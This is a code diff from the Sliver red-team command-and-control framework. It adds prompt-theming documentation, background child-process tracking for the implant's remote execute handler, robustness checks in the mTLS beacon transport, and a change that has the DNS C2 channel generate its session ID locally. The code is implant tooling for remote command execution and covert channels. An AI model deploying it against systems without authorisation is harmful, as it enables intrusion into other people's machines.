@@ -0,0 +1,133 @@
### Console Themes
Sliver’s interactive consoles (both `sliver-client` and the server-only console) use a theme file to drive all lipgloss styling.
- Theme path: `~/.sliver-client/theme.yaml`
- Settings path: `~/.sliver-client/tui-settings.yaml`
If `theme.yaml` is missing, Sliver will create it with the default palette.
#### Palette Structure
`theme.yaml` defines six palettes:
- `primary`
- `secondary`
- `default`
- `success`
- `warning`
- `danger`
Each palette has a base `default` color and a set of modifier colors (`50..900`):
```yaml
primary:
default: "#006FEE"
mods:
50: "#001731"
100: "#002e62"
200: "#004493"
300: "#005bc4"
400: "#006FEE"
500: "#338ef7"
600: "#66aaf9"
700: "#99c7fb"
800: "#cce3fd"
900: "#e6f1fe"
```
### Prompt Settings
The console prompt is configurable via `tui-settings.yaml`:
```yaml
prompt: "host"
prompt_template: |
{{- if .IsServer -}}
{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- else -}}
{{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- end -}}
```
#### `prompt` Modes
- `operator-host`
- `sliver-client`: `[operator@host] sliver >`
- server console: `[server] sliver >`
- `host`
- `sliver-client`: `[host] sliver >`
- server console: `[server] sliver >`
- `basic`
- both: `sliver >`
- `custom`
- the entire prompt text is rendered from `prompt_template` (Go `text/template`)
- if rendering fails, Sliver falls back to a minimal prompt: ` > `
### Custom Prompt Templates
When `prompt: custom`, Sliver evaluates `prompt_template` as a Go `text/template` every time the prompt is displayed.
#### Template Variables
Top-level values:
- `.IsServer` (bool)
- `.Connected` (bool)
- `.Operator` (string)
- `.Host` (string)
- `.Port` (int)
- `.HostPort` (string, `host:port` when available)
- `.Now` (time)
Active target:
- `.Target.SessionName` (string)
- `.Target.BeaconName` (string)
- `.Target.Suffix` (string)
- pre-rendered themed suffix matching the default prompt, like ` (my-session)` when a session or beacon is selected
Theme colors:
- `.Colors.Primary.Default`
- `.Colors.Primary.Mods` (map; use `index`, e.g. `index .Colors.Primary.Mods 500`)
- same structure for `.Colors.Secondary`, `.Colors.Default`, `.Colors.Success`, `.Colors.Warning`, `.Colors.Danger`
Theme styles (lipgloss styles already wired to `theme.yaml`):
- `.Styles.Bold`, `.Styles.Underline`
- `.Styles.Primary`, `.Styles.Secondary`, `.Styles.Default`, `.Styles.Success`, `.Styles.Warning`, `.Styles.Danger`
- `.Styles.BoldPrimary`, `.Styles.BoldSecondary`, `.Styles.BoldDefault`, `.Styles.BoldSuccess`, `.Styles.BoldWarning`, `.Styles.BoldDanger`
- legacy names: `.Styles.Red`, `.Styles.Green`, `.Styles.Orange`, `.Styles.Blue`, `.Styles.Purple`, `.Styles.Cyan`, `.Styles.Gray`, `.Styles.Black`
#### Examples
Show user and host (client), show server tag (server console):
```gotemplate
{{- if .IsServer -}}
{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- else -}}
{{- if and .Operator .Host -}}
{{ .Styles.BoldPrimary.Render (printf "[%s@%s]" .Operator .Host) }}
{{- else if .Host -}}
{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }}
{{- end -}}
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
{{- end -}}
```
Basic prompt everywhere:
```gotemplate
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
```
Use a lighter primary modifier for the host tag:
```gotemplate
{{- $c := index .Colors.Primary.Mods 500 -}}
{{- if .Host -}}{{ (.Styles.Bold.Foreground $c).Render (printf "[%s]" .Host) }} {{- end -}}
{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} >
```
+9
View File
@@ -202,6 +202,15 @@ else
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
# server / c2 / e2e (dns)
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
+204
View File
@@ -0,0 +1,204 @@
package handlers
import (
"os"
"os/exec"
"sort"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
const (
maxTrackedExecuteChildren = 256
)
type executeChildEntry struct {
PID int32
Path string
Args []string
Stdout string
Stderr string
StartTime int64
Exited bool
ExitCode int32
ExitTime int64
Error string
cmd *exec.Cmd
}
var (
executeChildrenMu sync.RWMutex
trackedExecuteChildren = map[int32]*executeChildEntry{}
)
func trimTrackedExecuteChildrenLocked() {
if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
return
}
// Prefer trimming completed entries first, oldest exit time first.
exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
for _, entry := range trackedExecuteChildren {
if entry.Exited {
exited = append(exited, entry)
}
}
sort.Slice(exited, func(i, j int) bool {
return exited[i].ExitTime < exited[j].ExitTime
})
for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
delete(trackedExecuteChildren, exited[0].PID)
exited = exited[1:]
}
}
func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
var (
stdoutFile *os.File
stderrFile *os.File
err error
)
startTime := time.Now().Unix()
if stdoutPath != "" {
stdoutFile, err = os.Create(stdoutPath)
if err != nil {
return 0, err
}
cmd.Stdout = stdoutFile
}
if stderrPath != "" {
stderrFile, err = os.Create(stderrPath)
if err != nil {
if stdoutFile != nil {
stdoutFile.Close()
}
return 0, err
}
cmd.Stderr = stderrFile
}
err = cmd.Start()
if err != nil {
if stdoutFile != nil {
stdoutFile.Close()
}
if stderrFile != nil {
stderrFile.Close()
}
return 0, err
}
var pid int32
if cmd.Process != nil {
pid = int32(cmd.Process.Pid)
}
if track && pid != 0 {
entry := &executeChildEntry{
PID: pid,
Path: path,
Args: append([]string(nil), args...),
Stdout: stdoutPath,
Stderr: stderrPath,
StartTime: startTime,
cmd: cmd,
}
executeChildrenMu.Lock()
trackedExecuteChildren[pid] = entry
trimTrackedExecuteChildrenLocked()
executeChildrenMu.Unlock()
}
go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
waitErr := cmd.Wait()
exitCode := int32(0)
waitErrStr := ""
if waitErr != nil {
if exitErr, ok := waitErr.(*exec.ExitError); ok {
exitCode = int32(exitErr.ExitCode())
} else {
exitCode = -1
waitErrStr = waitErr.Error()
}
}
if track && pid != 0 {
executeChildrenMu.Lock()
entry := trackedExecuteChildren[pid]
if entry != nil {
entry.Exited = true
entry.ExitCode = exitCode
entry.ExitTime = time.Now().Unix()
entry.Error = waitErrStr
entry.cmd = nil
}
executeChildrenMu.Unlock()
}
if stdoutFile != nil {
stdoutFile.Close()
}
if stderrFile != nil {
stderrFile.Close()
}
}(pid, cmd, stdoutFile, stderrFile, track)
return pid, nil
}
func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
executeChildrenMu.RLock()
children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
for _, entry := range trackedExecuteChildren {
children = append(children, &sliverpb.ExecuteChild{
Pid: entry.PID,
Path: entry.Path,
Args: append([]string(nil), entry.Args...),
StartTime: entry.StartTime,
Exited: entry.Exited,
ExitCode: entry.ExitCode,
ExitTime: entry.ExitTime,
Stdout: entry.Stdout,
Stderr: entry.Stderr,
Error: entry.Error,
})
}
executeChildrenMu.RUnlock()
sort.Slice(children, func(i, j int) bool {
return children[i].StartTime < children[j].StartTime
})
return children
}
func executeChildrenHandler(data []byte, resp RPCResponse) {
req := &sliverpb.ExecuteChildrenReq{}
err := proto.Unmarshal(data, req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
execChildren := &sliverpb.ExecuteChildren{
Children: snapshotExecuteChildren(),
Response: &commonpb.Response{},
}
data, err = proto.Marshal(execChildren)
resp(data, err)
}
+6 -11
View File
@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
}
}
if execReq.Output {
if execReq.Output && !execReq.Background {
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
if startErr != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
Err: fmt.Sprintf("%s", startErr),
}
}
go func() {
cmd.Wait()
}()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
if pid != 0 {
execResp.Pid = uint32(pid)
}
}
data, err = proto.Marshal(execResp)
+20 -19
View File
@@ -33,25 +33,26 @@ import (
var (
darwinHandlers = map[uint32]RPCHandler{
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgExecuteChildrenReq: executeChildrenHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgScreenshotReq: screenshotHandler,
pb.MsgNetstatReq: netstatHandler,
+18 -17
View File
@@ -34,23 +34,24 @@ import (
var (
genericHandlers = map[uint32]RPCHandler{
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
+19 -18
View File
@@ -45,24 +45,25 @@ import (
var (
linuxHandlers = map[uint32]RPCHandler{
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
+26 -19
View File
@@ -96,21 +96,22 @@ var (
sliverpb.MsgMountReq: mountHandler,
// Generic
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}
}
if execReq.Output {
if execReq.Output && !execReq.Background {
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}
execResp.Stderr = stdErrBuff.Bytes()
execResp.Stdout = stdOutBuff.Bytes()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
if startErr != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
Err: fmt.Sprintf("%s", startErr),
}
}
if pid != 0 {
execResp.Pid = uint32(pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
+24 -1
View File
@@ -37,6 +37,8 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"errors"
"github.com/hashicorp/yamux"
// {{end}}
@@ -46,7 +48,6 @@ import (
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
"net"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
@@ -208,6 +209,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
if err != nil {
return err
}
if conn == nil {
return errors.New("[mtls] connect returned nil conn")
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
_ = conn.Close()
return err
@@ -217,21 +221,40 @@ func mtlsBeacon(uri *url.URL) *Beacon {
_ = conn.Close()
return err
}
if muxSession == nil {
_ = conn.Close()
return errors.New("[mtls] failed to create yamux session (nil)")
}
return nil
},
Recv: func() (*pb.Envelope, error) {
if muxSession == nil {
return nil, errors.New("[mtls] recv called with nil yamux session")
}
stream, err := muxSession.Accept()
if err != nil {
return nil, err
}
if isNilInterface(stream) {
return nil, errors.New("[mtls] accept returned nil stream")
}
defer stream.Close()
return mtls.ReadEnvelope(stream)
},
Send: func(envelope *pb.Envelope) error {
if envelope == nil {
return errors.New("[mtls] nil envelope")
}
if muxSession == nil {
return errors.New("[mtls] send called with nil yamux session")
}
stream, err := muxSession.Open()
if err != nil {
return err
}
if isNilInterface(stream) {
return errors.New("[mtls] open returned nil stream")
}
defer stream.Close()
return mtls.WriteEnvelope(stream, envelope)
},
@@ -46,6 +46,7 @@ import (
"encoding/binary"
"errors"
"hash/crc32"
"net"
"net/url"
"strconv"
"strings"
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
}
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
address, port := splitResolverAddress(server, s.resolvConf.Port)
s.resolvers = append(s.resolvers,
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
)
}
// {{if .Config.Debug}}
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
// {{end}}
err = s.getDNSSessionID() // Get a 'dns session id'
if err != nil {
return err
}
s.fingerprintResolvers() // Fingerprint the resolvers
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
// Generate a random session ID locally. The server will only allocate state
// after a successful INIT, which avoids an unauthenticated session bootstrap.
if s.dnsSessionID == 0 {
sid, err := s.randomDNSSessionID()
if err != nil {
return err
}
s.dnsSessionID = sid
}
// Key agreement with server
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
resolver, _ := s.randomResolver()
initMsg := &dnspb.DNSMessage{
ID: s.nextMsgID(),
Type: dnspb.DNSMessageType_INIT,
Size: uint32(len(initData)),
}
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg send failure %v", err)
// {{end}}
return err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return ErrEmptyResponse
var respData []byte
var initErr error
for _, resolver := range s.resolvers {
respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
if initErr != nil {
continue
}
if len(respData) < 1 {
initErr = ErrEmptyResponse
continue
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
initErr = err
continue
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
initErr = errInvalidDNSSessionID
continue
}
initErr = nil
break
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
if initErr != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg decryption failure %v", err)
log.Printf("[dns] init msg send failure %v", initErr)
// {{end}}
return err
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
// {{if .Config.Debug}}
log.Printf("[dns] init msg dns session id mismatch")
// {{end}}
return err
return initErr
}
// Good to go!
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
log.Printf("[dns] key exchange was successful!")
// {{end}}
// Now that we have a server-side session, benchmark/fingerprint resolvers and
// drop ones that error.
s.fingerprintResolvers()
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
}
// {{if .Config.Debug}}
log.Printf("[dns] starting worker(s) ...")
// {{end}}
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
return subdata, nil
}
func (s *SliverDNSClient) getDNSSessionID() error {
otpMsg, err := s.otpMsg()
if err != nil {
return err
}
otpDomain, err := s.joinSubdataToParent(otpMsg)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
// {{end}}
var a []byte
for _, resolver := range s.resolvers {
a, _, err = resolver.A(otpDomain)
if err == nil {
break
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
// sessionID is 24-bit and must be non-zero.
randBuf := make([]byte, 4)
for {
_, err := rand.Read(randBuf)
if err != nil {
return 0, err
}
sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
if sid != 0 {
return sid, nil
}
}
if err != nil {
return err // All resolvers failed
}
if len(a) < 1 {
return errInvalidDNSSessionID
}
s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
if s.dnsSessionID == 0 {
return errInvalidDNSSessionID
}
// {{if .Config.Debug}}
log.Printf("[dns] dns session id: %d", s.dnsSessionID)
// {{end}}
return nil
}
func (s *SliverDNSClient) loadResolvConf() error {
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
return err
}
func splitResolverAddress(server string, defaultPort string) (string, string) {
server = strings.TrimSpace(server)
if server == "" {
return "", defaultPort
}
// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
if host, port, err := net.SplitHostPort(server); err == nil {
return host, port
}
if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
}
return server, defaultPort
}
// Joins subdata to the parent domain, you must have already done the math to
// ensure the subdata can fit in the domain
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
return string(msg), nil
}
func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: uint32(0), // Take advantage of the variable length encoding
}
data, err := proto.Marshal(otpMsg)
if err != nil {
return "", err
}
msg, _ := s.base32.Encode(data)
return string(msg), nil
}
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
func (s *SliverDNSClient) fingerprintResolvers() {
wg := &sync.WaitGroup{}
@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
}
}
func TestOTPMsgRoundTrip(t *testing.T) {
func TestRandomDNSSessionID(t *testing.T) {
client := NewDNSClient(parent1, opts)
encoded, err := client.otpMsg()
sid, err := client.randomDNSSessionID()
if err != nil {
t.Fatalf("Unexpected otpMsg error: %s", err)
t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
}
if !isBase32String(encoded) {
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
if sid == 0 {
t.Fatal("expected non-zero dns session id")
}
raw, err := encoders.Base32{}.Decode([]byte(encoded))
if err != nil {
t.Fatalf("Unexpected otpMsg decode error: %s", err)
}
msg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, msg); err != nil {
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
}
if msg.Type != dnspb.DNSMessageType_TOTP {
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
}
if msg.ID != 0 {
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
if (sid & ^uint32(sessionIDBitMask)) != 0 {
t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
}
}
@@ -22,6 +22,7 @@ import (
"crypto/rand"
"encoding/binary"
"errors"
"net"
"strings"
"time"
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
retries = 1
}
return &GenericResolver{
address: address + ":" + port,
address: net.JoinHostPort(address, port),
retries: retries,
retryWait: retryWait,
resolver: &dns.Client{
+45 -11
View File
@@ -21,7 +21,6 @@ package mtls
// {{if .Config.IncludeMTLS}}
import (
"bytes"
"crypto/ed25519"
"crypto/sha256"
"crypto/tls"
@@ -30,6 +29,7 @@ import (
"errors"
"fmt"
"io"
"reflect"
"sync"
"time"
@@ -90,43 +90,77 @@ func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
}
func isNilInterface(v any) bool {
if v == nil {
return true
}
rv := reflect.ValueOf(v)
switch rv.Kind() {
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
return rv.IsNil()
default:
return false
}
}
func writeAll(w io.Writer, p []byte) error {
for len(p) > 0 {
n, err := w.Write(p)
if err != nil {
return err
}
if n <= 0 {
return io.ErrShortWrite
}
p = p[n:]
}
return nil
}
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the receiver can delimit messages properly
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
if envelope == nil {
return errors.New("[mtls] nil envelope")
}
if isNilInterface(w) {
return errors.New("[mtls] nil writer")
}
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
log.Print("Envelope marshaling error: ", err)
// {{end}}
return err
return fmt.Errorf("[mtls] marshal envelope: %w", err)
}
signingKey, keyID, err := mtlsEnvelopeSigningKey()
if err != nil {
return err
return fmt.Errorf("[mtls] envelope signing key: %w", err)
}
rawSigBuf := make([]byte, cryptography.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
if _, werr := w.Write(rawSigBuf); werr != nil {
return werr
if werr := writeAll(w, rawSigBuf); werr != nil {
return fmt.Errorf("[mtls] write raw signature: %w", werr)
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
var dataLengthBuf [4]byte
binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data length: ", werr)
// {{end}}
return werr
return fmt.Errorf("[mtls] write data length: %w", werr)
}
if _, werr := w.Write(data); werr != nil {
if werr := writeAll(w, data); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data: ", werr)
// {{end}}
return werr
return fmt.Errorf("[mtls] write data: %w", werr)
}
return nil
}
@@ -0,0 +1,47 @@
package mtls
import (
"bytes"
"crypto/tls"
"testing"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
func TestWriteEnvelope_NilEnvelope(t *testing.T) {
t.Parallel()
var buf bytes.Buffer
if err := WriteEnvelope(&buf, nil); err == nil {
t.Fatalf("expected error for nil envelope")
}
}
func TestWriteEnvelope_NilWriter(t *testing.T) {
t.Parallel()
defer func() {
if r := recover(); r != nil {
t.Fatalf("WriteEnvelope panicked: %v", r)
}
}()
if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
t.Fatalf("expected error for nil writer")
}
}
func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
t.Parallel()
defer func() {
if r := recover(); r != nil {
t.Fatalf("WriteEnvelope panicked: %v", r)
}
}()
var conn *tls.Conn
if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
t.Fatalf("expected error for nil *tls.Conn writer")
}
}
+17
View File
@@ -0,0 +1,17 @@
package transports
import "reflect"
// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
func isNilInterface(v any) bool {
if v == nil {
return true
}
rv := reflect.ValueOf(v)
